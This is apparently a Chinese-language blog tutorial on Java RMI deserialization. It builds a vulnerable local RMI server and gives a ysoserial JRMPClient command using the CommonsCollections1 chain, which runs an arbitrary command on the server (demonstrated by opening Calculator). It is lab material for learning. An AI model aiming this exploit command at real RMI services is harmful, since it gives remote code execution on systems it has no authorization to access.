0x01 前言
来学习查看与Bind攻击类似相比另外一条更为底层的攻击路径
主要是知道怎么攻击的就可以了,现在的RMI攻击程序,写的很全能了
0x02 环境
编辑器为: IntelliJ IDEAjava版本:java version "1.7.0_80"Java(TM) SE Runtime Environment (build 1.7.0_80-b15)Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)使用的架包:Commons Collections 3.1
0x03 攻击测试
0x03.1 案例介绍
0x03.2 创建服务端
// 目录结构├── RMITest6│ ├── RMITest6Interface.java│ ├── RMIServer│ │ ├── RMIServerTest6.java│ │ └── RMITest6Impl.java
// 公共接口package RMITest6;import java.rmi.Remote;import java.rmi.RemoteException;public interface RMITest6Interface extends Remote {String test() throws RemoteException;}
package RMITest6.RMIServer;import RMITest6.RMITest6Interface;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RMITest6Impl extends UnicastRemoteObject implements RMITest6Interface {protected RMITest6Impl() throws RemoteException {super();}@Overridepublic String test() throws RemoteException {return "test6~";}}
package RMITest6.RMIServer;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;public class RMIServerTest6 {// 注册中心的服务器ippublic static final String RMI_HOST = "127.0.0.1";// 注册中心设置的开放端口public static final int RMI_PORT = 9998;// RMI服务名称public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/t6";public static void main(String[] args) {try {// 创建注册中心LocateRegistry.createRegistry(RMI_PORT);// 服务端Naming.bind(RMI_NAME, new RMITest6Impl());// 输出该对象的访问地址System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);} catch (Exception e) {e.printStackTrace();}}}// 运行它// 我这里的ip是127.0.0.1// 实际中肯定是外网地址例如: 101.34.246.17
0x03.3 攻击测试
// 下载ysoserial// 然后按如下命令启动即可java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPClient [服务器ip] [服务器开放RMI端口] [要使用的反序列化链] "要执行的命令"java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 9998 CommonsCollections1 "open /System/Applications/Calculator.app"// 运行结果运行完毕以后,服务端会弹出一个计算器
